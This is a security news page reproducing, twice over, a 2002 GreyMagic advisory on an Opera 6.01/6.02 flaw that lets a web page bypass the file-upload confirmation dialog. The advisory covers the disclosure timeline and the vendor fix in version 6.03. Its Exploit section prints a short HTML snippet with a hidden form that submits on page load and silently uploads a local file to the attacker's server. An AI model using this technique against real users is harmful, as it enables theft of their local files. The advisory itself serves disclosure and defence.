Latest news
Risks
Reading Any Local File in Opera Browser
27 May 2002
GreyMagic Security Advisory GM#001-OP
=====================================
By GreyMagic Software, Israel.
27 May 2002.
Available in HTML format at http://security.greymagic.com/adv/gm001-op/.
Topic: Reading ANY local file in Opera.
Discovery date: 07 May 2002.
Affected applications:
======================
* Opera 6.01 on Windows platforms.
* Opera 6.02 on Windows platforms.
Introduction:
=============
From Opera.com:
* "Opera today ranks number three among the most widely used Internet browsers in the world."
* "Opera is small, super-fast, secure, and can run at an optimal level without straining system resources. We like to say that we abide by The 5 S's in all code development: Speed, Size, Security, Standards Compliance and State-of-the-Art."
Opera, like all browsers today, supports the <input type="file"> element, which is a standard method for users to upload files to HTTP servers. Since the file element is a very security-sensitive element, most web browsers do not allow its "value" attribute to be set (read only). If it was possible to assign an arbitrary string to the "value" attribute, an attacking server could fetch any local file by simply submitting a form (through scripting or social engineering, if scripting has been disabled).
Opera's approach to the file element is a little different. The "value" attribute can be set, but before the form it resides in is submitted, a dialog comes up with the following warning:
The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these files?"
Discussion:
===========
It is possible to bypass the file element's confirmation dialog, which means an attacker can download any file from an unsuspecting Opera user.
By appending a simple " " (HTML entity, which represents the ASCII code for a new-line character) to the end of the file element's "value" attribute, Opera's security algorithm is fooled to think that no files were assigned. Therefore, the warning dialog doesn't come up; Opera simply submits the form with the desired file chosen by an attacker.
Surprisingly, versions of Opera prior to 6.01 are not vulnerable to this attack. So a change that occurred between version 6.0 and 6.01 is the culprit. This also means that all of the non-windows versions are safe (Opera did not release 6.01 for other platforms yet).
Exploit:
========
This exploit will automatically transfer the file "c:/test.txt" to an attacking host, which can handle it using a server-side environment such as ASP, PHP or other solutions. It does not require any user interaction:
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt "
style="visibility:hidden">
</form>
</body>
Solution:
=========
Opera was informed on 15 May 2002 and confirmed our findings. A day later, in the evening of 16 May 2002, Opera informed us that the vulnerability was fixed and committed to Opera's own version control system.
On 27 May 2002, Opera released version 6.03, which addressed this issue.
Opera has been extremely responsive and quick to understand and patch this vulnerability. They have shown that they truly do take security seriously.
Tested on:
==========
Opera 6.01, NT4.
Opera 6.01, Win2000.
Opera 6.01, WinXP.
Opera 6.02, NT4.
Opera 6.02, Win2000.
Opera 6.02, WinXP.
Demonstration:
==============
A fully dynamic proof-of-concept demonstration of this issue is available at http://security.greymagic.com/adv/gm001-op/.
Feedback:
=========
Please mail any questions or comments to security@greymagic.com.
- Copyright © 2002 GreyMagic Software.
=====================================
By GreyMagic Software, Israel.
27 May 2002.
Available in HTML format at http://security.greymagic.com/adv/gm001-op/.
Topic: Reading ANY local file in Opera.
Discovery date: 07 May 2002.
Affected applications:
======================
* Opera 6.01 on Windows platforms.
* Opera 6.02 on Windows platforms.
Introduction:
=============
From Opera.com:
* "Opera today ranks number three among the most widely used Internet browsers in the world."
* "Opera is small, super-fast, secure, and can run at an optimal level without straining system resources. We like to say that we abide by The 5 S's in all code development: Speed, Size, Security, Standards Compliance and State-of-the-Art."
Opera, like all browsers today, supports the <input type="file"> element, which is a standard method for users to upload files to HTTP servers. Since the file element is a very security-sensitive element, most web browsers do not allow its "value" attribute to be set (read only). If it was possible to assign an arbitrary string to the "value" attribute, an attacking server could fetch any local file by simply submitting a form (through scripting or social engineering, if scripting has been disabled).
Opera's approach to the file element is a little different. The "value" attribute can be set, but before the form it resides in is submitted, a dialog comes up with the following warning:
The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these files?"
Discussion:
===========
It is possible to bypass the file element's confirmation dialog, which means an attacker can download any file from an unsuspecting Opera user.
By appending a simple " " (HTML entity, which represents the ASCII code for a new-line character) to the end of the file element's "value" attribute, Opera's security algorithm is fooled to think that no files were assigned. Therefore, the warning dialog doesn't come up; Opera simply submits the form with the desired file chosen by an attacker.
Surprisingly, versions of Opera prior to 6.01 are not vulnerable to this attack. So a change that occurred between version 6.0 and 6.01 is the culprit. This also means that all of the non-windows versions are safe (Opera did not release 6.01 for other platforms yet).
Exploit:
========
This exploit will automatically transfer the file "c:/test.txt" to an attacking host, which can handle it using a server-side environment such as ASP, PHP or other solutions. It does not require any user interaction:
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt "
style="visibility:hidden">
</form>
</body>
Solution:
=========
Opera was informed on 15 May 2002 and confirmed our findings. A day later, in the evening of 16 May 2002, Opera informed us that the vulnerability was fixed and committed to Opera's own version control system.
On 27 May 2002, Opera released version 6.03, which addressed this issue.
Opera has been extremely responsive and quick to understand and patch this vulnerability. They have shown that they truly do take security seriously.
Tested on:
==========
Opera 6.01, NT4.
Opera 6.01, Win2000.
Opera 6.01, WinXP.
Opera 6.02, NT4.
Opera 6.02, Win2000.
Opera 6.02, WinXP.
Demonstration:
==============
A fully dynamic proof-of-concept demonstration of this issue is available at http://security.greymagic.com/adv/gm001-op/.
Feedback:
=========
Please mail any questions or comments to security@greymagic.com.
- Copyright © 2002 GreyMagic Software.
Spotlight
Is it time to professionalize information security?
Posted on 23 May 2013. | The issue of whether or not information security professionals should be licensed to practice has already been the topic of many a passionate debate.
Review: Logging and Log Management
Posted on 22 May 2013. | Every security practitioner should be aware of the overwhelming advantages of logging and perusing logs for discovering system intrusions. But logging and log management comes with its own set of difficulties.
Experts highlight top data breach vulnerabilities
Posted on 22 May 2013. | Hidden vulnerabilities lie in everyday activities that can expose personal information and lead to data breach, including buying gas with a credit card or wearing a pacemaker.
A closer look at Mega cloud storage
Posted on 21 May 2013. | Once a novelty, nowadays many cloud storage services are fighting for their piece of the market in the virtual world. Mega offers 50GB of free space with great pricing on Pro accounts.
The CSO perspective on healthcare security and compliance
Posted on 20 May 2013. | Randall Gamby is the CSO of the Medicaid Information Service Center of New York. In this interview he discusses healthcare security and compliance challenges and offers a variety of tips.
Daily digest
By subscribing to our early morning news update, you will receive a daily digest of the latest security news published on Help Net Security.
By subscribing to our early morning news update, you will receive a daily digest of the latest security news published on Help Net Security.
Weekly newsletter
With over 500 issues so far, reading our newsletter every Monday morning will keep you up-to-date with security risks out there.
With over 500 issues so far, reading our newsletter every Monday morning will keep you up-to-date with security risks out there.
 |
